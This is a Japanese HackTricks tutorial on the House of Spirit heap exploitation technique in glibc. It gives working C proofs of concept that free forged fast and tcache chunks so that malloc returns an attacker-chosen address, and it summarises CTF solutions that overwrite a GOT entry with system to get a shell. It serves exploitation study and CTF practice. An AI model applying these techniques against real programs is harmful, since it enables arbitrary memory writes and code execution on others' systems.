House of Spirit

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

コード

House of Spirit ```c #include #include #include #include

// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit

struct fast_chunk { size_t prev_size; size_t size; struct fast_chunk *fd; struct fast_chunk *bk; char buf[0x20]; // chunk falls in fastbin size range };

int main() { struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory void *ptr, *victim;

ptr = malloc(0x30);

printf(“Original alloc address: %p\n”, ptr); printf(“Main fake chunk:%p\n”, &fake_chunks[0]); printf(“Second fake chunk for size: %p\n”, &fake_chunks[1]);

// Passes size check of “free(): invalid size” fake_chunks[0].size = sizeof(struct fast_chunk);

// Passes “free(): invalid next size (fast)” fake_chunks[1].size = sizeof(struct fast_chunk);

// Attacker overwrites a pointer that is about to be ‘freed’ // Point to .fd as it’s the start of the content of the chunk ptr = (void *)&fake_chunks[0].fd;

free(ptr);

victim = malloc(0x30); printf(“Victim: %p\n”, victim);

return 0; }

</details>

### 目標

- tcache / fast bin にアドレスを追加し、後でそれを allocate できるようにする

### 要件

- この攻撃では、攻撃者が偽の fast chunk を数個作成し、それらの size 値を正しく示せること、そして最初の偽チャンクを free して bin に入れられることが必要です。
- **tcache (glibc ≥2.26)** では攻撃はさらに簡単になります:偽チャンクは1つで足ります(tcache パスでは next-chunk size チェックが行われません)。ただし偽チャンクは 0x10-aligned で、その size フィールドが有効な tcache bin(x64 では 0x20-0x410)に入っている必要があります。

### 攻撃

- セキュリティチェックを回避する偽チャンクを作成する:基本的に2つの偽チャンクが必要で、正しい位置に正しい size 値を配置します。
- 何らかの方法で最初の偽チャンクを free して fast または tcache bin に入れ、それを allocate して当該アドレスを上書きします。

**[**guyinatuxedo**](https://guyinatuxedo.github.io/39-house_of_spirit/house_spirit_exp/index.html) のコードはこの攻撃の理解に非常に役立ちます。** 以下のコード中のスキーマがそれをよく要約しています:

<details>
<summary>Fake chunk layout</summary>
```c
/*
this will be the structure of our two fake chunks:
assuming that you compiled it for x64

+-------+---------------------+------+
| 0x00: | Chunk # 0 prev size | 0x00 |
+-------+---------------------+------+
| 0x08: | Chunk # 0 size      | 0x60 |
+-------+---------------------+------+
| 0x10: | Chunk # 0 content   | 0x00 |
+-------+---------------------+------+
| 0x60: | Chunk # 1 prev size | 0x00 |
+-------+---------------------+------+
| 0x68: | Chunk # 1 size      | 0x40 |
+-------+---------------------+------+
| 0x70: | Chunk # 1 content   | 0x00 |
+-------+---------------------+------+

for what we are doing the prev size values don't matter too much
the important thing is the size values of the heap headers for our fake chunks
*/

Tip

いくつかの整合性チェックを回避するために、2つ目のチャンクを作成する必要があることに注意してください。

Tcache house of spirit (glibc ≥2.26)

  • 現代の glibc では、tcache fast-path は次のチャンクのサイズ/prev_inuse を検証する前に tcache_put を呼ぶため、現在の偽チャンクだけが正しい見た目であればよい。
  • 要件:
  • 偽チャンクは16バイト境界に揃えられている必要があり、IS_MMAPPED/NON_MAIN_ARENA とマークされていてはいけない。
  • size は tcache bin に属し、prev_inuse ビットがセットされているsize | 1)。
  • そのビンの tcache が満杯であってはいけない(デフォルトでは最大 7 エントリ)。
  • 最小 PoC(スタックチャンク):
unsigned long long fake[6] __attribute__((aligned(0x10)));
// chunk header at fake[0]; usable data starts at fake+2
fake[1] = 0x41;              // fake size (0x40 bin, prev_inuse=1)
void *p = &fake[2];          // points inside fake chunk
free(p);                     // goes straight into tcache
void *q = malloc(0x30);      // returns stack address fake+2
  • Safe-linking is not a barrier here: the forward pointer stored in tcache is automatically encoded as fd = ptr ^ (heap_base >> 12) during free, so the attacker does not need to know the key when using a single fake chunk.
  • このバリアントは glibc hooks が削除されている場合 (≥2.34) に便利で、追加の破損を作らずに高速な arbitrary write を行うか、ターゲットバッファ(例: stack/BSS)を tcache chunk と重ねたいときに有用です。

  • CTF https://guyinatuxedo.github.io/39-house_of_spirit/hacklu14_oreo/index.html

  • Libc infoleak: オーバーフローを利用してポインタを GOT アドレスを指すように変更し、CTF の read アクションを通じて libc アドレスを leak することが可能です。

  • House of Spirit: 「rifles」の数を数えるカウンタを悪用して最初の fake chunk の fake size を生成し、次に「message」を悪用してチャンクの2番目のサイズを偽装し、最後に overflow を悪用して free される予定のポインタを変更して最初の fake chunk を free させます。すると、それを allocate でき、その内部には「message」が格納されている先のアドレスが入ります。これを GOT テーブル内の scanf エントリを指すようにして、scanf を system のアドレスで上書きできます。
    次に scanf が呼ばれたときに "/bin/sh" を入力すればシェルが得られます。

  • Gloater. HTB Cyber Apocalypse CTF 2024

  • Glibc leak: 未初期化のスタックバッファ。

  • House of Spirit: ヒープポインタのグローバル配列の最初のインデックスを変更できます。1 バイトの改変で、valid chunk 内の fake chunk に対して free を行い、再度 allocate した後に overlapping chunks の状況を作れます。それにより、単純な Tcache poisoning attack で arbitrary write primitive を得られます。

参考

Tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする